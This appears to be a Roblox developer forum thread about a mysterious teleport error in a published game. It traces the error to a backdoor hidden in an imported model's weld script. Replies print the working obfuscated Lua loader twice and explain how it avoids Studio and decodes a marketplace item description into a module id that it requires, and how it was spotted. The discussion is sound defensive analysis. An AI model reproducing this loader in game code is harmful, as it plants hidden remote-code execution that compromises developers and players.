I just wanted to ask a question, and I’m not going to post any code due to the fact that it’s hundreds of lines long.
When in Studio, I do not get any error, but when I publish my game, the error code pops up as soon as I enter the game. I am NOT using Teleportation service, so why is this error popping up?
the total error is:
“Teleport exception: HTTP 400 (Bad Request)
Teleport web
exception: {“jobId” :null, “status” :4, “joinScriptUrl” :null, “authentication” :null, “authenticationTicket” :null, “message” (etc.)
raiseTeleportInitFailedFailedEvent: Teleport failed because Game’s root place is not active. (GameNotFound)”
Hmm, All my plugins were installed before the error decided to pop up. The weird thing is that no error appears when editing on studio online, only when I publish the game and play it directly from there does this message appear. it’s super weird…
this was hidden inside of a part from a model I Imported:
local function weld() end if not game:service'RunService':IsStudio()then local a,b='',{Q=0,L=1,G=2,R=3,B=4,M=5,N=6,C=7,X=8,Z=9}local function c(d)local e=''for f in d:gmatch('%a')do e=e..b[f]end return tonumber(e)end repeat pcall(function()local z=game:service'MarketplaceService':GetProductInfo(4436111876).Description if z~=a then pcall(require,c(z:sub(52)))a=z end end)wait(5)until nil end function weld()
local parts,last = {}, nil
local function scan(parent)
for _,v in pairs(parent:GetChildren()) do
if (v:IsA("BasePart")) then
if (last) then
local w = Instance.new("Weld")
w.Name = ("%s_Weld"):format(v.Name)
w.Part0,w.Part1 = last,v
w.C0 = last.CFrame:inverse()
w.C1 = v.CFrame:inverse()
w.Parent = last
end
last = v
table.insert(parts,v)
end
scan(v)
end
end
scan(script.Parent)
for _,v in pairs(parts) do
v.Anchored = false
end
end
@Lukeacrey is right, that script is causing the problem.
end if not game:service'RunService':IsStudio()then local a,b='',{Q=0,L=1,G=2,R=3,B=4,M=5,N=6,C=7,X=8,Z=9}local function c(d)local e=''for f in d:gmatch('%a')do e=e..b[f]end return tonumber(e)end repeat pcall(function()local z=game:service'MarketplaceService':GetProductInfo(4436111876).Description if z~=a then pcall(require,c(z:sub(52)))a=z end end)wait(5)until nil end function weld()
This is malicious code that was hidden on line 1 of that ‘weld’ script, pushed far to the right with lots of indents. It uses MarketPlaceService to get the description of an item, which returns some kind of code. It looks like the description is then decoded into a module id and ‘require’ is called on it. The module being required is likely what is causing the teleporting, since there is no reference to TeleportService in the code that we can see.
It also uses RunService to avoid running in studio, making it harder to notice.
Aside from the huge horizontal width of the script, what also gave it away for me was the lack of any actual function call in the ‘disguise’ code. The ‘weld’ function appears to be declared, but is never run.